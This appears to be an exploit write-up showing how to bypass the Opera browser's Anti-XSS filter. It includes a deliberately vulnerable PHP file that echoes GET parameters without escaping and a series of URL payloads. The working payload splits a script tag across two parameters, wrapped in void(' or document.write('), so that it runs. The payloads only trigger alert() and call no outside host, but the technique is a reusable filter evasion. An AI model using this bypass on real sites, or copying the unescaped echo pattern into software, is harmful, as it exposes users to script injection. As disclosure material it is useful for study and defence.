<pre class="">
# Full Explanation
# Opera browser is a famous browser in internet and for this reason
the opera company should secure the browser to users. one of this
security issues is the Anti-XSS. The Anti-XSS stops executing
javascript and today i'm going ro bypass it.
# Fist, make a vulnerable PHP file (EX: opera.php):
<?php
// Echo the value of parameter one
echo "This is text1:".$_GET['text1']."<br><br>";
// Echo the value of parameter two
echo "This is text2:".$_GET['text2']."<br><br>";
?>
# Next, i want to test a simple XSS payload like this:
http://[HOSTNAME]/[PATH]/opera.php?text1=<script>alert(/XSS/)</script>&text2=ashiayne
# that JS code will be shown in the source but you will get no alert
and if you see the source you find that your code was shown with red
highlight.that's for high security of opera. if you try to test other
payloads you will see the same result.
# OK, let's try using script tag (<scrip>) without closing. it means this:
http://[HOSTNAME]/[PATH]/opera.php?text1=<script>alert(/XSS/)&text2=ashiayne
# Again the code will be shown but it won't have any red highlight and
the JS code is known as a HTML text, because of the none-closing tag.
# Well, let's try closing tag on parameter 2:
http://[HOSTNAME]/[PATH]/opera.php?text1=<script>alert(/XSS/)&text2=</script>
# in this one, your code will be completely shown without any red
highlight or something like that, but again it will be known as a HTML
text.
# let's try using quoting and put the none-code texts in 2 quotations!
for example using void(''), put void(' in the parameter one and close
it in parameter 2 like this ') now let's try it:
http://[HOSTNAME]/[PATH]/opera.php?text1=<script>alert(/XSS/);void('&text2=')</script>
# You will see the alert!! Your JS code will be execute. instead of
void(''), you can use document.write('') or etc.
# For example:
http://[HOSTNAME]/[PATH]/opera.php?text1=<script>alert(/XSS/);document.write('&text2=')</script>
</pre>
暂无评论